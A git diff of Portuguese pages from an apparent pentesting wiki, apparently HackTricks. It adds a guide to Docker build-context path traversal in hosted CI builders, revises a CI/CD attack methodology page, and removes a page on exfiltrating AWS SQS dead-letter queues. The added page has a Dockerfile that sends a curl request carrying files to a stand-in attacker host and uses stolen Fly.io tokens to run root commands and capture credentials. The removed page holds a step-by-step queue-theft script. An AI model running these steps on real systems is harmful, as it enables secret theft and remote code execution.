diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md new file mode 100644 index 000000000..b3b130c04 --- /dev/null +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -0,0 +1,101 @@ +# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) + +{{#include ../banners/hacktricks-training.md}} + +## TL;DR + +Se uma plataforma CI/CD ou hosted builder permite que contribuidores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e incluir arquivos do host no build context. Em seguida, um Dockerfile controlado pelo atacante pode usar COPY e exfiltrate secrets encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização. + +## Attack surface + +Muitos serviços de hosted builder/registry fazem algo nessa linha ao construir imagens submetidas por usuários: +- Ler uma repo-level config que inclui: +- build context path (sent to the Docker daemon) +- Dockerfile path relative to that context +- Copiar o diretório do build context indicado e o Dockerfile para o Docker daemon +- Build the image and run it as a hosted service + +Se a plataforma não canonicalize e restrinja o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user passem a fazer parte do build context e fiquem disponíveis para COPY no Dockerfile. + +Restrições práticas comumente observadas: +- O Dockerfile deve residir dentro do caminho do contexto escolhido e seu caminho deve ser conhecido antecipadamente. +- O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia. + +## PoC: Path traversal via Docker build context + +Example malicious server config declaring a Dockerfile within the parent directory context: +```yaml +runtime: "container" +build: +dockerfile: "test/Dockerfile" # Must reside inside the final context +dockerBuildPath: ".." # Path traversal to builder user $HOME +startCommand: +type: "http" +configSchema: +type: "object" +properties: +apiKey: +type: "string" +required: ["apiKey"] +exampleConfig: +apiKey: "sk-example123" +``` +Notas: +- Usar ".." frequentemente resolve para o diretório home do usuário builder (p.ex., /home/builder), que tipicamente contém arquivos sensíveis. +- Coloque seu Dockerfile dentro do diretório com o nome do repo (p.ex., repo "test" → test/Dockerfile) para que ele permaneça dentro do contexto pai expandido. + +## PoC: Dockerfile para ingerir e exfiltrar o contexto do host +```dockerfile +FROM alpine +RUN apk add --no-cache curl +RUN mkdir /data +COPY . /data # Copies entire build context (now builder’s $HOME) +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) +``` +Alvos comumente recuperados de $HOME: +- ~/.docker/config.json (registry auths/tokens) +- Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) + +Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos. + +## Pivot na cloud com overprivileged tokens (exemplo: Fly.io Machines API) + +Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para a control-plane API. Se você exfiltrate um registry token, tente usá‑lo contra a API do provedor. + +Exemplo de chamadas à API contra Fly.io Machines API usando o token roubado de ~/.docker/config.json: + +Enumerar apps em uma org: +```bash +curl -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps?org_slug=smithery" +``` +Executar um comando como root dentro de qualquer máquina de um app: +```bash +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' +``` +Resultado: remote code execution em toda a organização, afetando todos os apps hospedados quando o token possui privilégios suficientes. + +## Roubo de segredos de serviços hospedados comprometidos + +Com exec/RCE em servidores hospedados, você pode coletar segredos fornecidos pelo cliente (API keys, tokens) ou realizar prompt-injection attacks. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada. +```bash +# Install tcpdump inside the machine +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' + +# Capture traffic +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' +``` +Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params. + +## Referências + +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) +- [Fly.io Machines API](https://fly.io/docs/machines/api/) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 208169786..c336917d3 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Metodologia de Pentesting CI/CD {{#include ../banners/hacktricks-training.md}} @@ -6,100 +6,107 @@ ## VCS -VCS significa **Sistema de Controle de Versão**, esses sistemas permitem aos desenvolvedores **gerenciar seu código-fonte**. O mais comum é **git** e normalmente você encontrará empresas usando-o em uma das seguintes **plataformas**: +VCS significa **Sistema de Controle de Versão**, este sistema permite que desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você normalmente encontrará empresas usando-o em uma das seguintes **plataformas**: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Fornecedores de cloud (eles oferecem suas próprias plataformas VCS) +- Provedores de nuvem (eles oferecem suas próprias plataformas VCS) ## CI/CD Pipelines -As pipelines CI/CD permitem que desenvolvedores **automatizem a execução de código** para vários fins, incluindo build, testes e deploy de aplicações. Esses fluxos de trabalho automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento até a produção. +CI/CD pipelines permitem que desenvolvedores **automatem a execução de código** para diversos propósitos, incluindo build, testes e deploy de aplicações. Esses fluxos automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção. No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de código ou acesso a informações sensíveis**. -## VCS Pentesting Methodology +## Metodologia de VCS Pentesting > [!NOTE] > Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código-fonte. -Plataformas que contêm o código-fonte do seu projeto guardam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns nas plataformas VCS que um atacante poderia abusar: +Plataformas que contêm o código-fonte do seu projeto armazenam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante pode abusar: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: Se um atacante puder **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**. -- **Register**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta. -- **SSO**: Algumas plataformas não permitem registros, mas permitem que qualquer pessoa acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo. -- **Webhooks**: Plataformas VCS permitem gerar webhooks. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**. -- Se não houver segredo em vigor, o atacante poderia abusar do webhook da plataforma terceira +- **Leaks**: Se seu código contiver leaks nos commits e o atacante puder acessar o repo (porque é público ou porque ele tem acesso), ele poderá descobrir os leaks. +- **Acesso**: Se um atacante conseguir **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**. +- **Registro**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta. +- **SSO**: Algumas plataformas não permitem registro, mas permitem que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo). +- **Credenciais**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo. +- **Webhooks**: Webhooks são permitidos nas plataformas VCS. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**. +- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma terceirizada - Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo -- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita aos repos**, ele poderia tentar **injetar código malicioso**. Para ter sucesso, pode precisar **bypassar branch protections**. Essas ações podem ser realizadas com diferentes objetivos: -- Comprometer a branch principal para **comprometer a produção**. -- Comprometer a branch principal (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles costumam executar testes, terraform ou outras coisas do repo em suas máquinas). +- **Comprometimento do código:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repos, ele poderia tentar **injetar código malicioso**. Para ter sucesso ele pode precisar **contornar proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos: +- Comprometer a main branch para **comprometer a produção**. +- Comprometer a main (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles normalmente executam testes, terraform ou outras coisas do repo em suas máquinas). - **Comprometer a pipeline** (veja a próxima seção) -## Pipelines Pentesting Methodology +## Metodologia de Pipelines Pentesting -A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração CI hospedado no repositório** que a pipeline constrói. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\ -Esses arquivos tipicamente têm um nome e formato consistente, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o job da pipeline **puxa o código** da fonte selecionada (por ex. commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código. +A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração de CI hospedado no repositório** que a pipeline builda. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\ +Esses arquivos tipicamente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionada, a job da pipeline **puxa o código** da fonte selecionada (ex.: commit / branch), e **executa os comandos especificados no arquivo de configuração do CI** contra esse código. Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**. +> [!TIP] +> Alguns builders hospedados permitem que contribuidores escolham o contexto de build do Docker e o caminho do Dockerfile. Se o contexto for controlado pelo atacante, você pode defini-lo fora do repo (ex.: "..") para ingerir arquivos do host durante o build e exfiltrar segredos. Veja: +> +>{{#ref}} +>docker-build-context-abuse.md +>{{#endref}} + ### PPE - Poisoned Pipeline Execution -O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos. +O Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração do CI ou outros arquivos usados pela job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos. Para que um ator malicioso tenha sucesso realizando um ataque PPE ele precisa ser capaz de: -- Ter **acesso de escrita à plataforma VCS**, já que geralmente as pipelines são acionadas quando um push ou pull request é realizado. (Consulte a VCS pentesting methodology para um resumo das formas de obter acesso). +- Ter **acesso de escrita à plataforma VCS**, pois normalmente pipelines são acionadas quando um push ou um pull request é realizado. (Veja a metodologia de VCS para um resumo de formas de obter acesso). - Note que às vezes um **PR externo conta como "acesso de escrita"**. -- Mesmo que tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**. -- Para isso, pode ser necessário **bypassar branch protections**. +- Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de config do CI ou outros arquivos dos quais o config dependa**. +- Para isso, pode ser necessário **contornar as proteções de branch**. Existem 3 variantes de PPE: -- **D-PPE**: Um ataque **Direct PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado. -- **I-DDE**: Um ataque **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um makefile ou uma configuração terraform). -- **Public PPE ou 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem fazer parte da org) porque podem enviar um PR. -- **3PE Command Injection**: Normalmente, pipelines CI/CD vão **definir variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como executar comandos sh), um atacante pode **injetar comandos ali**. +- **D-PPE**: Um **Direct PPE** ocorre quando o ator **modifica o arquivo de config do CI** que será executado. +- **I-DDE**: Um **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de config do CI depende (como um make file ou uma terraform config). +- **Public PPE or 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem mesmo fazer parte da org) porque podem enviar um PR. +- **3PE Command Injection**: Geralmente, CI/CD pipelines vão **definir environment variables** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como na execução de comandos sh), um atacante pode **injetar comandos ali**. -### Exploitation Benefits +### Benefícios da Exploração Conhecendo as 3 variantes para envenenar uma pipeline, vejamos o que um atacante poderia obter após uma exploração bem-sucedida: -- **Secrets**: Como mencionado anteriormente, pipelines requerem **privilégios** para seus jobs (retrair o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets normalmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo possível de secrets. -- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que, se o atacante não puder modificar a configuração CI da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que essa pipeline possui**. -- **Computation**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais adiante. -- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode terminar em uma **rede interna com acesso a mais recursos**. -- **Cloud**: O atacante poderia acessar **outras máquinas na cloud** mas também poderia **exfiltrar** tokens de IAM roles/service accounts **dela** para obter **acesso adicional dentro da cloud**. -- **Platforms machine**: Às vezes os jobs serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão numa cloud sem **acesso adicional**. -- **Select it:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI** você pode **indicar onde quer rodar o código malicioso**. Nessa situação, um atacante provavelmente executará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo. -- **Compromise production**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você poderia **comprometer o código que acabará rodando em produção**. +- **Segredos**: Como mencionado anteriormente, pipelines requerem **privilégios** para suas jobs (recuperar o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets geralmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo de secrets possível. +- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que se o atacante não puder modificar a configuração da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que aquela pipeline possui**. +- **Computação**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais. +- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode chegar em uma **rede interna com acesso a mais recursos**. +- **Cloud**: O atacante pode acessar **outras máquinas na cloud** mas também pode **exfiltrar** tokens de roles IAM/service accounts para obter **acesso adicional dentro da cloud**. +- **Máquinas da plataforma**: Às vezes as jobs serão executadas dentro das **máquinas da plataforma de pipelines**, que normalmente estão em uma cloud sem **mais acessos**. +- **Selecione:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração do CI** você pode **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente rodará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo. +- **Comprometer a produção**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você pode **comprometer o código que vai rodar em produção**. -## More relevant info +## Mais informações relevantes ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua cadeia de suprimentos de software quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua stack de software supply chain quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy. ### Top 10 CI/CD Security Risk -Confira este artigo interessante sobre os top 10 riscos CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Confira este artigo interessante sobre os top 10 riscos de CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Labs +### Laboratórios -- Em cada plataforma que você puder rodar localmente você encontrará como lançá-la localmente para poder configurá-la como quiser para testar +- Em cada plataforma que você puder rodar localmente você encontrará como iniciá-la localmente para que possa configurá-la como quiser para testar - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Automatic Tools +### Ferramentas Automáticas -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise estática para infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise estática para infraestrutura como código. -## References +## Referências - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md deleted file mode 100644 index 3966fe003..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ /dev/null @@ -1,154 +0,0 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask - -{{#include ../../../banners/hacktricks-training.md}} - -## Descrição - -Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Essa técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo. - -## O que é uma Dead-Letter Queue (DLQ)? - -Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são automaticamente enviadas quando falham ao ser processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm: -- Dados sensíveis da aplicação que não puderam ser processados -- Detalhes de erro e informações para debug -- Personal Identifiable Information (PII) -- API tokens, credenciais ou outros segredos -- Dados de transações críticos para o negócio - -DLQs funcionam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram tratar corretamente. - -## Cenário de ataque - -**Exemplo real:** -1. **Aplicação de e-commerce** processa pedidos de clientes via SQS -2. **Alguns pedidos falham** (problemas de pagamento, falta de estoque, etc.) e são movidos para uma DLQ -3. **A DLQ acumula** semanas/meses de pedidos falhados contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Atacante obtém acesso** a credenciais AWS com permissões SQS -5. **Atacante descobre** que a DLQ contém milhares de pedidos falhados com dados sensíveis -6. **Ao invés de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila -7. **Atacante extrai** todos os dados históricos sensíveis em uma única operação - -## Requisitos -- A fila de origem deve estar configurada como uma DLQ (referenciada por pelo menos uma RedrivePolicy de alguma fila). -- Permissões IAM (executando como o principal comprometido da vítima): -- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Na fila de destino: permissão para entregar mensagens (por exemplo, política de fila permitindo `sqs:SendMessage` a partir do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão. -- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`. - -## Impacto -Exfiltra cargas sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads de aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima. - -## Como Abusar - -- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve). -- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN. -- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino. -- Monitorar o progresso ou cancelar se necessário. - -### CLI Example: Exfiltrating Customer Data from E-commerce DLQ - -**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam. - -1) **Descobrir e examinar a DLQ da vítima** -```bash -# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) -aws sqs list-queues --queue-name-prefix dlq - -# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq -VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" -SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -# Check how many messages are in the DLQ (potential treasure trove!) -aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ ---attribute-names ApproximateNumberOfMessages -# Output might show: "ApproximateNumberOfMessages": "1847" -``` -2) **Criar fila de destino controlada pelo atacante** -```bash -# Create our exfiltration queue -ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) -ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -echo "Created exfiltration queue: $ATTACKER_Q_ARN" -``` -3) **Execute o roubo em massa de mensagens** -```bash -# Start moving ALL messages from victim DLQ to our queue -# This operation will transfer thousands of failed orders containing customer data -echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" -TASK_RESPONSE=$(aws sqs start-message-move-task \ ---source-arn "$SRC_ARN" \ ---destination-arn "$ATTACKER_Q_ARN" \ ---max-number-of-messages-per-second 100) - -echo "Move task started: $TASK_RESPONSE" - -# Monitor the theft progress -aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 -``` -4) **Coletar os dados sensíveis roubados** -```bash -# Receive the exfiltrated customer data -echo "Receiving stolen customer data..." -aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---attribute-names All --message-attribute-names All \ ---max-number-of-messages 10 --wait-time-seconds 5 - -# Example of what an attacker might see: -# { -# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", -# "MessageId": "12345-abcd-6789-efgh" -# } - -# Continue receiving all messages in batches -while true; do -MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---max-number-of-messages 10 --wait-time-seconds 2 --output json) - -if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then -echo "No more messages - exfiltration complete!" -break -fi - -echo "Received batch of stolen data..." -# Process/save the stolen customer data -echo "$MESSAGES" >> stolen_customer_data.json -done -``` -### Notas entre contas -- A fila de destino deve ter uma resource policy permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions). - -## Por que este ataque é eficaz - -1. **Legitimate AWS Feature**: Usa funcionalidade integrada da AWS, tornando difícil detectá-lo como malicioso -2. **Bulk Operation**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento -3. **Historical Data**: DLQs acumulam dados sensíveis ao longo de semanas/meses -4. **Under the Radar**: Muitas organizações não monitoram o acesso a DLQs de perto -5. **Cross-Account Capable**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem - -## Detecção e Prevenção - -### Detecção -Monitor CloudTrail para chamadas API suspeitas `StartMessageMoveTask`: -```json -{ -"eventName": "StartMessageMoveTask", -"sourceIPAddress": "suspicious-ip", -"userIdentity": { -"type": "IAMUser", -"userName": "compromised-user" -}, -"requestParameters": { -"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", -"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" -} -} -``` -### Prevenção -1. **Least Privilege**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos papéis necessários -2. **Monitor DLQs**: Configurar alarmes do CloudWatch para atividades incomuns em DLQs -3. **Políticas entre contas**: Revisar cuidadosamente as políticas da fila SQS que permitem acesso entre contas -4. **Criptografar DLQs**: Usar SSE-KMS com políticas de chave restritas -5. **Limpeza Regular**: Não permita que dados sensíveis se acumulem em DLQs indefinidamente - -{{#include ../../../banners/hacktricks-training.md}}